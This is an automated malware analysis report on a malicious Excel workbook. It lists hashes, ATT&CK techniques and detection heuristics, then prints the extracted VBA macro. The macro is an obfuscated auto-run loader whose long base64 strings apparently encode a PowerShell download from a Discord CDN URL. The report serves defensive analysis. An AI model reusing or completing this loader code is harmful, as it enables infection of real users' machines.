Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e54adff0e1babb89…

MALICIOUS

Office (OOXML)

18.6 KB Created: 2021-08-27 15:10:01 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-09-22
MD5: 6f247bda9824fdf47ffea6fe7edeffb0 SHA-1: 2a6466d63407ab77a3a60bb24acf93ece8ab90d6 SHA-256: e54adff0e1babb89d67336907483dcebb4bc3de6bd8d2f1dd0c01a276086615d
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file is an Office document containing a Workbook_Open VBA macro, which is a common technique for initial execution. The macro uses WScript.Shell and CreateObject to execute obfuscated code, likely to download and run a second-stage payload. The presence of these indicators and the auto-execution nature of the macro strongly suggest a malicious intent.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7559 bytes
SHA-256: e56bf69b2a03bede1947e0a411e1edbeb95fe3f6a43e078456c642a69b3806b4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub workbook_open()
zp.jgbg
fddgd = sdfs

End Sub

Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "zp"
Sub HelloWorld()
 MsgBox "bv bvmn!", vbInformation + vbOKOnly, "l;j;j;ljguig"
End Sub
Sub jgbg()
kyu = oiup(189) & oiup(199) & oiup(222) & oiup(154) & oiup(169) & oiup(221) & oiup(154) & oiup(234) & oiup(233) & oiup(216) & oiup(209) & oiup(216) & oiup(223) & oiup(236) & oiup(205) & oiup(216) & oiup(194) & oiup(223) & oiup(216) & oiup(198) & oiup(198) & oiup(154) & oiup(167) & oiup(191) & oiup(154)
kyu = kyu & "WwBzAFkAcwB0AEUATQAuAHQARQB4AFQALgBlAG4AQwBPAEQAaQBuAGcAXQA6ADoAdQBuAGkAYwBPAEQAZQAuAGcARQBUAFMAVABSAEkATgBnACgAWwBTAHkAcwB0AEUATQAuAEMATwBOAFYAZQBSAHQAXQA6ADoAZgBSAG8AbQBCAEEAcwBlADYANABTAFQAUgBJAG4AZwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEA"
kyu = kyu & "SwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcAWQBBAGQAUQBCAHUAQQBIAFkAQQBjAEEAQgBvAEEASABvAEEAWgBRAEIAeQBBAEcAVQBBAFkAUQBCAHkAQQBHADQAQQBZAFEAQgBpAEEARwBnAEEAYwBBAEIAMgBBAEcAMABBAGMAZwBBAGcAQQBDAGcAQQBJAEEAQQBrAEEARwA0AEEAYwBBAEIAaQBBAEgAYwBBAGEAdwBCAGoAQQBIAGcAQQBkAEEAQgBqAEEARwB3AEEAZQBBAEIAeABBAEcAdwBBAFoAZwBCAHgAQQBIAFkAQQBhAEEAQQBnAEEAQwB3AEEASQBBAEEAawBBAEcAOABBAGIAdwBCADMAQQBHADgAQQBaAGcAQgBsAEEASABrAEEAYQBBAEIAaQBBAEcAbwBBAGIAZwBBAGcAQQBDAGsAQQBEAFEAQQBLAEEASABzAEEASQBBAEIASgBBAEUAMABBAGMAQQBCAFAAQQBIAEkAQQBWAEEAQQB0AEEARQAwAEEAYgB3AEIAawBBAEYAVQBBAGIAQQBCAGwA"
kyu = kyu & "QQBDAEEAQQBRAGcAQgBKAEEARgBRAEEAVQB3AEIAVQBBAEgASQBBAFEAUQBCAE8AQQBGAE0AQQBaAGcAQgBsAEEASABJAEEATwB3AEEATgBBAEEAbwBBAGMAdwBCAFUAQQBHAEUAQQBVAGcAQgAwAEEAQwAwAEEAWQBnAEIASgBBAEgAUQBBAFUAdwBCADAAQQBGAEkAQQBZAFEAQgB1AEEASABNAEEAUgBnAEIAbABBAEgASQBBAEkAQQBBAHQAQQBGAE0AQQBiAHcAQgAxAEEARgBJAEEAUQB3AEIARgBBAEMAQQBBAEoAQQBCAHUAQQBIAEEAQQBZAGcAQgAzAEEARwBzAEEAWQB3AEIANABBAEgAUQBBAFkAdwBCAHMAQQBIAGcAQQBjAFEAQgBzAEEARwBZAEEAYwBRAEIAMgBBAEcAZwBBAEkAQQBBAHQAQQBFAFEAQQBSAFEAQgB6AEEASABRAEEAUwBRAEIAdQBBAEUARQBBAFYAQQBCAEoAQQBFADgAQQBiAGcAQQBnAEEAQwBRAEEAYgB3AEIAdgBBAEgAYwBBAGIAdwBCAG0AQQBHAFUAQQBlAFEAQgBvAEEA"
kyu = kyu & "RwBJAEEAYQBnAEIAdQBBAEQAcwBBAEkAQQBBAG0AQQBDAEEAQQBKAEEAQgB2AEEARwA4AEEAZAB3AEIAdgBBAEcAWQBBAFoAUQBCADUAQQBHAGcAQQBZAGcAQgBxAEEARwA0AEEATwB3AEEAZwBBAEgAMABBAGQAQQBCAHkAQQBIAGsAQQBlAHcAQQBrAEEARwBRAEEAWgBnAEIAMABBAEgAWQBBAGMAZwBCAG0AQQBHADAAQQBaAEEAQgB1AEEARwBJAEEAZQBnAEIAdQBBAEcAYwBBAGEAdwBCADAAQQBIAGcAQQBaAEEAQgAxAEEARwBRAEEAZABRAEIAaABBAEcARQBBAGUAZwBCADEAQQBHADgAQQBZAGcAQQA5AEEAQwBRAEEAUgBRAEIAdQBBAEYAWQBBAE8AZwBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBzAEEASgB3AEIAYwBBAEgAWQBBAGUAQQBCAHQAQQBHADQAQQBiAGcAQgA0AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgBtAEEASABVAEEAYgBnAEIAMgBBAEgA"
kyu = kyu & "QQBBAGEAQQBCADYAQQBHAFUAQQBjAGcAQgBsAEEARwBFAEEAYwBnAEIAdQBBAEcARQBBAFkAZwBCAG8AQQBIAEEAQQBkAGcAQgB0AEEASABJAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBjAHcAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAUQBBAGIAZwBBAHUAQQBHAFEAQQBhAFEAQgB6AEEARwBNAEEAYgB3AEIAeQBBAEcAUQBBAFkAUQBCAHcAQQBIAEEAQQBMAGcAQgBqAEEARwA4AEEAYgBRAEEAdgBBAEcARQBBAGQAQQBCADAAQQBHAEUAQQBZAHcAQgBvAEEARwAwAEEAWgBRAEIAdQBBAEgAUQBBAGMAdwBBAHYAQQBEAGcAQQBOAHcAQQAzAEEARABrAEEATwBBAEEAegBBAEQARQBBAE0AUQBBADMAQQBEAGMAQQBNAFEAQQB4AEEARABrAEEATQBnAEEAeABBAEQASQBBA
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 24576 bytes
SHA-256: 4ff1cf6c52eb5c71eba6862179d701f7c6c24dfc5578a5eb76579fa239f59b2a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.